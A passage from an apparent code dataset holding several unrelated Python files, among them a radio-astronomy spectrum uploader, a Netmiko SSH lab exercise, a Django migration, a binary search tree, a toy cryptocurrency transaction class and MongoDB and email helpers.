subsistemaRFI()\n\t\ttb.start()\n\t\ttb.set_frec_central(frec_central)\n\t\ttb.set_ganancia(ganancia)\n\t\ttb.set_samp_rate(sample_rate)\n\t\ttb.set_nfft(nfft)\n\t\tt1 = time.time()\n\t\ttimming = 0\n\t\twhile timming<=tiempo:\n\t\t\ttimming = time.time()-t1\n\t\ttb.stop()\n\t\ttb.wait()\n\t\tprint(\"fin del monitoreo...\")\n\n\n\tdef caracteristicas(self, x, nfft):\n\t\t\"\"\" Esta funcion extrae caracteristicas basicas\n\t\tdel espectro sensado\"\"\"\n\t\tframes = int(len(x)/nfft)\n\t\tmin_ = numpy.array([])\n\t\tmax_ = numpy.array([])\n\t\tener_ = numpy.array([])\n\t\tfor i in range(frames-1):\n\t\t\tmin_= numpy.append(min_, numpy.min(x[i*nfft:nfft*(i+1)]))\n\t\t\tmax_= numpy.append(max_, numpy.max(x[i*nfft:nfft*(i+1)]))\n\t\t\tener_ = numpy.append(ener_, numpy.sum(10**((x[nfft*i:nfft*(i+1)])/10.0)))\n\t\t\t# ener_ = 10*numpy.log10(ener_)\n\t\treturn min_, max_, ener_\n\n\t#comunicacion con la API\n\tdef getToken(self):\n\t\t\"\"\"Esta funcion se encarga de consultar el token de acuerdo al usuario\n\t\ty contrasena para la API \"\"\"\n\t\tdata = {\n\t\t\"username\": self.usernameAPI,\n\t\t\"password\": self.passwordAPI }\n\t\tURL = \"http://\"+self.IP+\"/app_praes/token/\"\n\t\tr = requests.post(URL, data=data)\n\t\tprint(\"HTTP status token {}\".format(r.status_code))\n\t\ttoken = json.loads(r.content)\n\t\t# print(token[\"token\"])\n\t\treturn token\n\n\tdef consulta_id(self):\n\t\turl = \"http://\"+self.IP+\"/radioastronomia/subsistema-RFI\"\n\t\t\n\t\ttoken = self.getToken()\t\t\n\t\theaders={\"Authorization\":\"Token \"+token[\"token\"] }\n\t\tr = requests.get(url, headers=headers)\n\t\tdato = r.text\n\t\tdato = json.loads(dato)\n\t\tprint(dato)\n\t\tprint(\"HTTP status code {} consulta espectro\".format(r.status_code))\n\t\tr.close()\n\t\treturn dato[\"id\"]\n\n\tdef envio_API(self, region, frec_central, samp_rate, fft_size, duracion, azimut, elevacion, antena, gamma):\n\t\t# objeto para leer el archivo del espectro\n\t\tx = numpy.fromfile('/home/uis-e3t/Documentos/tmp_plataforma/espectro', dtype=numpy.float32, count=-1, sep='')\n\t\tx = 10**(x/10)\n\t\t#aca va la caracterizacion del espectro\n\t\tif len(gamma[\"x1\"])>0:\n\t\t\tprint(\"modo automatico compensando medidas RF con las perdidas...\")\n\t\t\tf = numpy.arange(-int(fft_size/2),int(fft_size/2),1)*samp_rate/fft_size + frec_central\n\t\t\ty1 = numpy.asarray(gamma[\"y1\"])\n\t\t\tx1 = numpy.asarray(gamma[\"x1\"])\n\t\t\ty1 = numpy.interp(f, x1, y1)\n\t\t\tfor i in range(len(x)/fft_size):\n\t\t\t\tx[i*fft_size:(i+1)*fft_size] = x[i*fft_size:(i+1)*fft_size]/(1-y1**2)\n\t\t\tx = 10*numpy.log10(x)\n\t\telse:\n\t\t\tprint(\"modo manual compensando medidas RF con las perdidas...\")\n\t\t\ty1 = numpy.asarray(gamma[\"y1\"])\n\t\t\tfor i in range(len(x)/fft_size):\n\t\t\t\tx[i*fft_size:(i+1)*fft_size] = x[i*fft_size:(i+1)*fft_size]/(1-y1**2)\n\t\t\tx = 10*numpy.log10(x)\n\n\t\tprint(\"len(x)=\", len(x))\n\t\tmin_v, max_v, energia = self.caracteristicas(x, fft_size)\n\n\t\tx = ComplexEncoder().encode(x)\n\t\tprint(\"fin codificacion json\")\n\n\t\t# envio por API REST\n\t\tpyload = { \"espectro\": x,\n\t\t\"frec_muestreo\": samp_rate,\n\t\t\"nfft\": fft_size,\n\t\t\"frec_central\": frec_central,\n\t\t\"duracion\": duracion,\n\t\t\"region\": region}\n\t\ttoken = self.getToken()\n\t\theaders={\"Authorization\": \"Token \"+token[\"token\"]}\n\t\t# preparacion de las URL para realizar la actualizacion\n\t\turl = \"http://\"+self.IP+\"/radioastronomia/subsistema-RFI\"\n\t\tr = requests.post(url, data=pyload, headers=headers)\n\t\tprint(\"HTTP status {} espectro\".format(r.status_code))\n\t\tr.close()\n\n\n\t\t#actualizacion de la posicion\n\t\tpyload = {\"azimut\":azimut,\n \"elevacion\":elevacion,\n \"region\": region,\n \"antena\": antena}\n\t\t# preparacion de las URL para realizar la actualizacion\n\t\turl = \"http://\"+self.IP+\"/radioastronomia/posicion-antena\"\n\t\tr = requests.post(url, data=pyload, headers=headers)\n\t\tprint(\"HTTP status {} posicion\".format(r.status_code))\n\t\tr.close()\n\n\t\t#consulta id para actualizar las caracteristicas del espectro\n\t\tid = self.consulta_id()\n\t\tmax_v = ComplexEncoder().encode(max_v)\n\t\tmin_v = ComplexEncoder().encode(min_v)\n\t\tenergia = ComplexEncoder().encode(energia)\n\n\t\tpyload = {\n\t\t\t\"max_v\": max_v,\n\t\t\t\"min_v\": min_v,\n\t\t\t\"energia\": energia,\n\t\t\t\"espectro\": id\n\t\t\t}\n\t\turl = \"http://\"+self.IP+\"/radioastronomia/caracteristicas-espectro\"\n\t\tr = requests.post(url, data=pyload, headers=headers)\n\t\tprint(\"HTTP status {} caracteristicas espectro\".format(r.status_code))\n\t\tr.close()\n\n\tdef estado(self, activo, frecuencia, azimut, elevacion):\n\t\t\"\"\"Actualiza el estado de activo o inactivo, la entrada es:\n\t\testado y es de tipo booleano \"\"\"\n\t\tpyload = {\"activo\": activo,\n\t\t\t\t \"frecuencia\": frecuencia,\n\t\t\t\t \"azimut\": azimut,\n\t\t\t\t \"elevacion\": elevacion}\n\t\turl = \"http://\"+self.IP+\"/radioastronomia/estado/1\"\n\t\tr = requests.put(url, pyload)\n\t\tprint(\"HTTP {} actualizacion estado\".format(r.status_code))\n\t\tr.close()\n\nif __name__ == \"__main__\":\n\tIP = \"127.0.0.1:8000\"\n\t# usernameAPI = \"mario\"\n\t# passwordAPI = \"mario\"\n\t# obj_espectro = Espectro(IP, usernameAPI, passwordAPI)\n\t# obj_espectro.envio_API(1, 1000000, 32000, 1024, 20, 0,10,8)","sub_path":"Modulos_aplicaciones/radioastronomia/subsistema_RFI/LimeSDR/Fase II/Espectro.py","file_name":"Espectro.py","file_ext":"py","file_size_in_byte":6254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"221016776","text":"# -*- coding: utf-8 -*-\n\nimport torch\n\na = torch.randn(1, 3)\nprint(a)\n\nm = torch.max(a)\nprint(m)\nm, n = torch.max(a, 1)\nprint(m, n)\n\n\n\nimport pandas as pd\n\ndf = pd.read_csv('./data/cifar10/train.csv')\nprint(df.shape)","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"67321479","text":"types_of_people = 10\t\t# Variable declared\r\nx = f\"There are {types_of_people} types of people.\"\t\t#f string -> to format string\r\n\r\nbinary = \"binary\"\t\t# variable binary declared\r\ndo_not = \"don't\"\t\t# variable declared\r\ny = f\"Those who know {binary} and those who {do_not}.\"\t\t# f string\r\n\r\nprint(x)\t\t# prints\r\nprint(y)\t\t# prints\r\n\r\nprint(f\"I said: {x}\")\t\t# format print\r\nprint(f\"I also said: '{y}'\")\t\t# format print\r\n\r\nhilarious = False\t\t# variable declared\r\njoke_evaluation = \"Isn't that joke so funny?! {}\"\t# {} to introduce extra string if required further\r\n\r\nprint(joke_evaluation.format(hilarious))\t\t# adds the value of variable to the string\r\n\r\nw = \"This is the left side of...\"\t\t# variable declared\r\ne = \"a string with a right side.\"\t\t# variable declared\r\n\r\nprint(w+e)\t\t# adds both the strings ","sub_path":"ex6.py","file_name":"ex6.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"22159803","text":"#!/usr/bin/env python\n\"\"\"\n2. Now that your SSH key file is encrypted, set up an SSH agent such that your passphrase is remembered once you have entered it.\n\nStart the 'ssh-agent' as follows (note, the ssh-agent command below is wrapped in backticks, not quotes). This basically starts the ssh-agent and sets some environment variables related to the SSH agent.\n$ eval `ssh-agent`\nAgent pid 31383\n\nNext you need to add the \"student_key\" into the SSH agent and provide the key's passphrase (so the SSH agent can access the key and decrypt it).\n$ ssh-add ~/.ssh/student_key\nEnter passphrase for /home/kbyers/.ssh/student_key: \nIdentity added: /home/kbyers/.ssh/student_key (/home/kbyers/.ssh/student_key)\n\nNow you can test that the SSH agent is working properly. You can do this by SSHing into \"cisco4\" using the \"student_key\" (at this point, you should NOT be prompted for a passphrase).\n$ ssh -i ~/.ssh/student_key student1@cisco4.lasthop.io\n\ncisco4#\n\nNow update your Netmiko code from exercise 1b. Your updated Netmiko code should use the SSH agent (i.e. set use_agent=True). You should NOT need to provide the SSH passphrase in your Netmiko code.\n\"\"\"\nfrom netmiko import ConnectHandler\n\ncisco3 = {\n 'host': 'cisco3.lasthop.io',\n 'device_type': 'cisco_ios',\n 'username': 'student1',\n 'use_keys': True,\n 'key_file': '~/.ssh/student_key',\n 'allow_agent': True,\n 'session_log': 'ex02a_cisco3.log',\n }\n\ncisco4 = {\n 'host': 'cisco4.lasthop.io',\n 'device_type': 'cisco_ios',\n 'username': 'student1',\n 'allow_agent': True,\n 'use_keys': True,\n 'key_file': '~/.ssh/student_key',\n 'session_log': 'ex02a_cisco4.log',\n }\n\nfor dev in (cisco3, cisco4):\n with ConnectHandler(**dev) as conn:\n output = conn.send_command('show ip arp')\n print(output)\n","sub_path":"lesson_06/ex02/ex02a.py","file_name":"ex02a.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"25782288","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('product', '0010_auto_20150324_2315'),\n ('order', '0004_order_close_date'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Inventory',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('open_quantity', models.IntegerField(default=0)),\n ('product_id', models.ForeignKey(to='product.Product')),\n ],\n ),\n migrations.CreateModel(\n name='Truck',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('truck_count', models.IntegerField(default=0)),\n ],\n ),\n migrations.CreateModel(\n name='Warehouse',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('location_x', models.IntegerField(default=0)),\n ('location_y', models.IntegerField(default=0)),\n ],\n ),\n migrations.AddField(\n model_name='order',\n name='delivery_x',\n field=models.IntegerField(default=0),\n ),\n migrations.AddField(\n model_name='order',\n name='delivery_y',\n field=models.IntegerField(default=0),\n ),\n migrations.AddField(\n model_name='order',\n name='tracking_num',\n field=models.IntegerField(default=0, null=True),\n ),\n migrations.AlterField(\n model_name='order',\n name='status',\n field=models.CharField(default='P', choices=[('P', 'Pending'), ('K', 'Packaging'), ('T', 'Ready to load'), ('L', 'Loading'), ('D', 'Loaded'), ('S', 'Shipping'), ('E', 'Delivered'), ('R', 'Received'), ('H', 'Hold'), ('C', 'Cancelled')], max_length=1),\n ),\n migrations.AddField(\n model_name='truck',\n name='wh_id',\n field=models.ForeignKey(to='order.Warehouse'),\n ),\n migrations.AddField(\n model_name='inventory',\n name='wh_id',\n field=models.ForeignKey(to='order.Warehouse'),\n ),\n migrations.AddField(\n model_name='order',\n name='truck_id',\n field=models.ForeignKey(to='order.Truck', null=True),\n ),\n migrations.AddField(\n model_name='order',\n name='wh_id',\n field=models.ForeignKey(to='order.Warehouse', null=True),\n ),\n ]\n","sub_path":"store/order/migrations/0005_auto_20180426_1311.py","file_name":"0005_auto_20180426_1311.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"623496793","text":"class Node:\n def __init__(self, key):\n self.val = key\n self.left = None\n self.right = None\n\ndef insert(root, node):\n if root is None:\n root = node\n else:\n if(root.val < node.val):\n if(root.right is None):\n root.right = node\n else:\n insert(root.right, node)\n elif(root.val > node.val):\n if(root.left is None):\n root.left = node\n else:\n insert(root.left, node)\n\ndef deleteNode(root, value):\n if(root is None):\n return root\n elif(root.val == value):\n if(root.left is None):\n tempNode = root.right\n #setting null to the root\n root = None\n return tempNode\n elif(root.right is None):\n tempNode = root.left\n #setting null to the root\n root = None\n return tempNode\n temp = minNode(root.right)\n root.val = temp.val\n root.right = deleteNode(root.right, temp.val)\n elif(root.val < value):\n root.right = deleteNode(root.right, value)\n elif(root.val > value):\n root.left = deleteNode(root.left, value)\n return root\n\ndef searchNode(root, value):\n if(root is None):\n print(\"Not found\")\n elif(root.val < value):\n searchNode(root.right, value)\n elif(root.val > value):\n searchNode(root.left, value)\n elif(root.val == value):\n print(\"Found node: %d\" % root.val)\n\ndef preorder(root):\n if(root):\n print(root.val)\n preorder(root.left)\n preorder(root.right)\n\ndef inorder(root):\n if root:\n inorder(root.left)\n print(root.val)\n inorder(root.right)\n\ndef postorder(root):\n if(root):\n postorder(root.left)\n postorder(root.right)\n print(root.val) \n\n#helper functions\ndef minNode(root):\n topNode = root\n if(topNode.left is None):\n return topNode;\n else:\n topNode = minNode(root.left) \n\n","sub_path":"1.0_binarytree/BST.py","file_name":"BST.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"391922394","text":"import hashlib\nimport wallet\nimport binascii\n\nfrom serializer import Serializer\n\nclass Input:\n\tdef __init__(self, prev_txid, prev_index, signature, pubkey):\n\t\tself.prev_txid = prev_txid\n\t\tself.prev_index = prev_index\n\t\tself.sequence = 4294967294\n\t\tself.script_hex = hex(len(binascii.unhexlify(signature)) + 2)[2:] + signature + \"01\" + hex(len(binascii.unhexlify(pubkey)))[2:] + pubkey\n\t\tprint(\"script_hex \", self.script_hex)\n\t\tself.length_script = len(binascii.unhexlify(self.script_hex))\n\t\t\n\tdef set_sequense(sequense):\n\t\tself.sequense = sequense\n\nclass Output:\n\tdef __init__(self, amount, hash_pubkey):\n\t\tself.value = amount\n\t\tlen_pub = hex(len(binascii.unhexlify(hash_pubkey)))[2:]\n\t\tprint(\"len_pub\", len_pub)\n\t\tself.script_hex = \"76a9\" + len_pub + hash_pubkey + \"88ac\"\n\t\tself.script = \"OP_DUP OP_HASH160 \" + hash_pubkey + \" OP_EQUALVERIFY OP_CHECKSIG\"\n\t\tprint(self.script_hex)\n\t\tself.length_script = len(binascii.unhexlify(self.script_hex))\n\nclass Transaction:\n\tdef __init__(self, locktime):\n\t\tself.version = 1\n\t\t#self.sender = sender\n\t\t#self.recipient = recipient\n\t\t#self.amount = amount\n\t\tself.inputs = []\n\t\tself.outputs = []\n\t\tself.locktime = locktime\n\n\tdef add_input(self, prev_txid, prev_index, signature, pubkey):\n\t\tself.inputs.append(Input(prev_txid, prev_index, signature, pubkey))\n\n\tdef get_input_counter(self):\n\t\treturn len(self.inputs)\n\n\tdef add_output(self, amount, hash_pubkey):\n\t\tself.outputs.append(Output(amount, hash_pubkey))\n\t\t\n\tdef get_output_counter(self):\n\t\treturn len(self.outputs)\n\n\t#def set_locktime(self, locktime):\n\t#\tself.locktime = locktime\n\t#def get_hash(self):\n\t\t\n\t\n#\tdef hash_calculated(self):\n#\t\tto_hash = self.sender + self.recipient + str(self.amount)\n#\t\treturn hashlib.sha256(bytes(to_hash, \"utf-8\")).hexdigest()\n#\tdef add_signature(self, signature, pub_key):\n#\t\tself.signature = signature\n#\t\tself.pub_key = pub_key\n\nclass CoinbaseTransaction(Transaction):\n\tdef __init__(self):\n\t\tf = open('minerkey', 'r')\n\t\twif = f.read().splitlines()[0]\n\t\tself.privkey = wallet.wif_to_private_key(wif)\n\t\tf.close()\n\t\t#recipient = wallet.get_address(binascii.unhexlify(self.privkey))\n\t\t#print('Mining reward sent to ', recipient)\n\t\tf = open('address', 'r')\n\t\trecipient = f.read().splitlines()[0]\n\t\tf.close()\n\t\tsuper().__init__(\"0\"*34, recipient, 50)\n\n#transaction = Transaction(0)\n#transaction.add_input(\"ceb7b8458419da7fa406da5d63b19b5306a2afc8\", 1, \"84f3fa278d3097e8572729fc3a73d7a810282f63e8865f4c9114243894f427d9\", \"2ef50fbcd0b8d433bab7a77bdb99607dd8dfe0f5\")\n#transaction.add_output(10000, \"ceb7b8458419da7fa406da5d63b19b5306a2afc8\")\n#transaction.add_output(123123, \"2ef50fbcd0b8d433bab7a77bdb99607dd8dfe0f5\")\n\n#serializer = Serializer(transaction)\n#print(serializer.get_serializer())\n","sub_path":"module2/m2/transaction.py","file_name":"transaction.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"391558977","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\n\nimport io\nimport logging\nfrom operator import itemgetter\nimport os\nfrom email import message_from_file\nfrom email.mime.text import MIMEText\nfrom functools import partial\n\nfrom jinja2 import Environment\n\nfrom poast.db import AddressService\n\ntry:\n from itertools import ifilter as filter\nexcept ImportError:\n pass\n\n\ndef messages(summary, optout, sender, reply_to, subject, threshold):\n template = make_template(pluralize=pluralize, format_num=format_num)\n with AddressService() as addresser:\n for author in authors(summary, optout, addresser, threshold):\n yield create_message(sender, reply_to, subject, author, template)\n\n\ndef threshold_filter(item, threshold):\n return item['downloads'] - item['size'] >= threshold\n\n\ndef country_filter(item):\n return item['downloads'] > 0\n\n\ndef create_message(sender, reply_to, subject, context, template):\n try:\n msg = MIMEText(template.render(context), 'plain', 'us-ascii')\n except UnicodeEncodeError:\n msg = MIMEText(template.render(context), 'plain', 'utf-8')\n msg['To'] = context['email']\n msg['From'] = sender\n msg['Reply-To'] = reply_to\n msg['Subject'] = subject\n return msg\n\n\ndef authors(collection, optout, addresser, threshold):\n logger = logging.getLogger(__name__)\n t_filter = partial(threshold_filter, threshold=threshold)\n totals = global_context(collection)\n optouts = list(map(itemgetter('username'), optout.find()))\n emails = []\n for item in filter(t_filter, collection.find({'type': 'author'})):\n try:\n first_name, last_name, email = \\\n addresser.lookup(item['_id']['mitid'])\n except TypeError:\n logger.warning('Author not found: %s (%s)' %\n (item['_id']['name'], item['_id']['mitid']))\n continue\n if not email:\n logger.warning('Author missing email: %s (%s)' %\n (item['_id']['name'], item['_id']['mitid']))\n continue\n if email in emails:\n logger.warning('Duplicate email: %s' % (email,))\n continue\n if email in optouts:\n continue\n emails.append(email)\n countries = [x['downloads'] for x in item['countries']]\n yield {\n 'author': u\"%s %s\" % (first_name, last_name),\n 'email': email,\n 'downloads': item['downloads'],\n 'articles': item['size'],\n 'countries': len(list(filter(None, countries))),\n 'total_size': totals['size'],\n 'total_countries': totals['countries'],\n }\n\n\ndef pluralize(count, single, plural):\n if count > 1:\n return plural\n else:\n return single\n\n\ndef format_num(number):\n chars = []\n for i, n in enumerate(str(number)[::-1]):\n if i and not (i % 3):\n chars.insert(0, ',')\n chars.insert(0, n)\n return ''.join(chars)\n\n\ndef global_context(collection):\n summary = collection.find_one({'type': 'overall'},\n {'size': 1, 'countries': 1})\n countries = filter(country_filter, summary['countries'])\n return {'size': summary['size'], 'countries': len(list(countries))}\n\n\ndef make_template(**kwargs):\n environment = Environment()\n environment.filters.update(kwargs)\n tmpl = os.path.join(os.path.dirname(os.path.realpath(__file__)),\n 'message.tmpl')\n with io.open(tmpl) as fp:\n template = environment.from_string(fp.read())\n return template\n\n\ndef delivery_queue(path):\n for relpath, dirs, files in os.walk(path):\n for f in files:\n f_msg = os.path.join(relpath, f)\n with io.open(f_msg, encoding='us-ascii') as fp:\n yield message_from_file(fp)\n","sub_path":"poast/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":3831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"119361620","text":"print(\"Advent of Code; day 9 task 1\")\n\ndebug = True\nlive = True\ndebug_output = False\n\nif debug == True:\n print(\"DEBUG\")\n\nif live == True:\n print(\"LIVE\")\n\ndef get_next_marble(marbles):\n if len(marbles) > 0:\n #return sorted(marbles)[0]\n return marbles[0]\n else:\n return -1\n\ndef play_game(number_of_players, number_of_marbles):\n\n marbles = []\n game = []\n player_marbles = []\n players = {}\n current_pos = 0\n\n i = 0\n while i <= number_of_marbles:\n marbles.append(i)\n i += 1\n\n i = 0\n while i < number_of_players:\n players[i] = []\n i += 1\n\n game.append(0)\n marbles.remove(0)\n\n do_continue = True\n while do_continue == True:\n for player in players:\n marble = get_next_marble(marbles) #take marble\n\n if debug_output == True and marble % 1000 == 0:\n print(marble)\n \n if marble == -1: #break if no marbles\n do_continue = False\n break\n\n if marble % 23 == 0: # every 23rd marble gives points\n players[player].append(marble)\n player_marbles.append(game[current_pos])\n \n # go 7 positions counter-clockwise\n if current_pos > 8:\n current_pos -= 7\n else:\n current_pos = len(game) - 7 + current_pos\n\n # add marble to player's score and remove from the game \n players[player].append(game[current_pos])\n game.remove(game[current_pos])\n player_marbles.append(game[current_pos])\n\n else:\n if current_pos == len(game) - 1:\n current_pos = 1 \n else:\n current_pos += 2\n\n game.insert(current_pos, marble)\n \n # remove the marble\n marbles.remove(marble)\n\n max_sum = 0\n for player in players:\n value = sum(players[player])\n if (value > max_sum):\n max_sum = value\n\n if debug_output:\n print(len(game))\n print(len(marbles))\n print(len(player_marbles))\n print(len(game) + len(marbles) + len(player_marbles))\n return max_sum\n\ndef play_and_print(number_of_players, number_of_marbles, correct_result):\n result = play_game(number_of_players, number_of_marbles)\n print(str(result) + \" (\" + str(correct_result) + \": \" + str(correct_result - result) + \")\")\n\nif debug == True:\n play_and_print(9, 25, 32)\n play_and_print(10, 1618, 8317)\n play_and_print(13, 7999, 146373)\n play_and_print(17, 1104, 2764)\n play_and_print(21, 6111, 54718)\n play_and_print(30, 5807, 37305)\n\nif live == True:\n play_and_print(493, 71863, 367802)","sub_path":"Day9_1.py","file_name":"Day9_1.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"304691386","text":"from abc import abstractmethod\n\n\"\"\"\nGood SRP: Responsibilities seperated into two classes\nBad OCP: Close for extention, require for modification\n\"\"\"\n\nclass ReportReader(object):\n \n \"\"\"\n @param: db contains database connection details\n @param: type is a flag to denote type of database to use\n \"\"\"\n def read_db(self, db, type):\n if type == \"MySQL\":\n print(\"Reading db MySQL Now\")\n return \"...report...data\"\n elif type == \"SQLite\":\n print(\"Reading db SQLite Now\")\n return \"...report...data\"\n elif type == \"CSV\":\n print(\"Reading db CSV Now\")\n return \"...report...data\"\n elif type == \"SQLAlchemy\":\n print(\"Reading db SQLAlchemy Now\")\n return \"...report...data\"\n else: print(\"DB type not recognised\")\n\n\nclass ReportFormatter(object):\n\n def format_report(self, data, type):\n if type == \"PDF\":\n print(\"Writing data into PDF format\")\n elif type == \"HTML\":\n print(\"Writing data into HTML format\")\n elif type == \"Word\":\n print(\"Writing data into Word format\")\n elif type == \"TXT\":\n print(\"Writing data into TXT format\")\n else: print(\"Format type not recognised\")\n\n","sub_path":"tut07/thu09/good_srp_bad_ocp.py","file_name":"good_srp_bad_ocp.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"452000812","text":"import os\nfrom os import path, listdir, unlink, makedirs\n\n\nclass ScanFile:\n root_dir = ''\n scan_dir = ''\n backup_dir = 'backups'\n backup_pdf = 'pdf'\n pdf_process = 'pdf_process'\n ocr_output_dir = 'output_ocr'\n exception_dir = 'exceptions'\n output_dir = 'outputs'\n output_sending_dir = 'report_sending'\n output_sent_dir = 'report_sent'\n\n def __init__(self, root_dir, scan_dir):\n self.root_dir = root_dir\n self.scan_dir = path.join(self.root_dir, scan_dir)\n self.backup_dir = path.join(self.scan_dir, self.backup_dir)\n self.backup_pdf = path.join(self.backup_dir, self.backup_pdf)\n self.pdf_process = path.join(self.scan_dir, self.pdf_process)\n self.output_dir = path.join(self.scan_dir, self.output_dir)\n self.exception_dir = path.join(self.output_dir, self.exception_dir)\n self.output_sending_dir = path.join(self.output_dir, self.output_sending_dir)\n self.output_sent_dir = path.join(self.output_dir, self.output_sent_dir)\n self.ensure_dir(self.scan_dir)\n self.ensure_dir(self.backup_dir)\n self.ensure_dir(self.backup_pdf)\n self.ensure_dir(self.output_dir)\n self.ensure_dir(self.ocr_output_dir)\n self.ensure_dir(self.pdf_process)\n self.ensure_dir(self.exception_dir)\n self.ensure_dir(self.output_sending_dir)\n self.ensure_dir(self.output_sent_dir)\n\n def ensure_dir(self, directory):\n # directory = path.dirname(file_path)\n if not path.exists(directory):\n makedirs(directory)\n\n def remove_temp_files(self):\n dir_list = listdir(self.backup_dir)\n for dir in dir_list:\n if dir.endswith('_cleaned_gray.tif') | dir.endswith('_table_structure.tif') | dir.endswith('bin.tif') | \\\n dir.endswith('_cleaned_gray.png') | dir.endswith('_table_structure.png') | dir.endswith('bin.png') | \\\n dir.endswith('_cleaned_gray.jpg') | dir.endswith('_table_structure.jpg') | dir.endswith('bin.jpg'):\n unlink(path.join(self.backup_dir, dir))\n\n def scan_files(self):\n # self.remove_temp_files()\n dir_list = listdir(self.scan_dir)\n dirs = {}\n dir_list = sorted(dir_list, key=lambda x: os.path.splitext(x)[0])\n for dir in dir_list:\n if dir.endswith(\".jpg\") | dir.endswith(\".png\") | dir.endswith(\".tif\") | dir.endswith('.jpeg'):\n dirs[dir] = path.join(self.scan_dir, dir)\n return dirs\n\n def scan_excel_files(self):\n # self.remove_temp_files()\n dir_list = listdir(self.output_sending_dir)\n dirs = {}\n dir_list = sorted(dir_list, key=lambda x: os.path.splitext(x)[0])\n for dir in dir_list:\n if dir.endswith(\".xlsx\"):\n dirs[dir] = path.join(self.output_sending_dir, dir)\n return dirs\n\n def move_file(self, file_name):\n from_dir = self.scan_dir\n to_dir = self.backup_dir\n os.rename(path.join(from_dir, file_name), path.join(to_dir, file_name))\n\n def move_file2exception(self, file_name):\n os.rename(os.path.join(self.backup_dir, file_name), os.path.join(self.exception_dir, file_name))\n\n def move_file2sent(self, file_name):\n os.rename(os.path.join(self.output_sending_dir, file_name), os.path.join(self.output_sent_dir, file_name))\n\n def get_file_path(self, file_name):\n to_dir = self.backup_dir\n return path.join(to_dir, file_name)\n\n def get_output_dir(self):\n return self.output_dir\n\n def get_scan_dir(self):\n return self.scan_dir\n\n def get_pdf_process(self):\n return self.pdf_process\n\n def get_output_ocr_dir(self):\n return self.ocr_output_dir\n\n def get_exception_dir(self):\n return self.exception_dir\n\n def get_sending_dir(self):\n return self.output_sending_dir\n\n def get_sent_dir(self):\n return self.output_sent_dir\n\n def get_file_name(self, file_path):\n file_name = path.basename(file_path)\n name, extension = path.splitext(file_name)\n return name\n","sub_path":"app/libs/files/scan_file.py","file_name":"scan_file.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"514965726","text":"from pymongo.mongo_client import MongoClient\n\nfrom airmass.db.database import Database\n\nimport re\n\nclass MongoDB(Database):\n def __init__(self, hostname, collection, document, report_document=\"ci_report\"):\n self.server = MongoClient(host=hostname)\n self.document = self.server[collection][document]\n self.report_document = self.server[collection][report_document]\n\n def get_build_numbers_by_job(self, job_name):\n result = self.document.find({'jobname': job_name}, {'buildnum': 1})\n return [one_item['buildnum'] for one_item in result]\n\n def get_report_summery_by_job(self, job_name, build_number):\n result = self.document.find_one({'jobname': job_name ,'buildnum': build_number})\n #result = self.document.find_one({\"jobname\": \"MaaS-SAW-USB-saw-sh-blues\",\"buildnum\": 24})\n data = dict()\n data[\"jobname\"] = self.find_subjob_by_job_name(job_name)\n data[\"buildnum\"] = build_number\n data[\"testSummery\"] = dict()\n self.get_test_report_by_id(result[\"_id\"], data[\"testSummery\"])\n return data\n\n def get_test_report_by_id(self, id, result):\n oneItem = self.document.find_one({'_id': id})\n jobname = oneItem[\"jobname\"]\n children = oneItem[\"children\"]\n testReport = oneItem[\"test\"]\n oneTestReport = dict()\n\n category = self.find_category_by_job_name(jobname)\n subjobname = self.find_subjob_by_job_name(jobname)\n\n if category and subjobname and testReport:\n self.insert_one_report(result, subjobname,category,testReport)\n\n for child in children:\n self.get_test_report_by_id(child, result)\n\n\n def insert_one_report(self, report, subjobname, category, testcases):\n if subjobname not in report:\n report[subjobname] = dict()\n if category not in report[subjobname]:\n report[subjobname][category] = dict()\n\n report[subjobname][category] = testcases\n\n\n\n\n\n\n def insert_data(self, data):\n self.document.insert(data)\n\n def update_data(self, query, data, is_upsert=True):\n self.document.update(query, data, is_upsert)\n\n def insert_report_data(self, data):\n self.report_document.insert(data)\n\n def update_report_data(self, query, data, is_upsert=True):\n self.report_document.update(query, data, is_upsert)\n\n def find_category_by_job_name(self, jobname):\n category = re.findall(\"TEST=([\\w-]+)\", jobname)\n if len(category) != 0:\n return category[0]\n else:\n return None\n\n def find_subjob_by_job_name(self, jobname):\n subJobName = jobname.split(\"/\")\n if len(subJobName) != 0:\n return subJobName[0]\n else:\n return 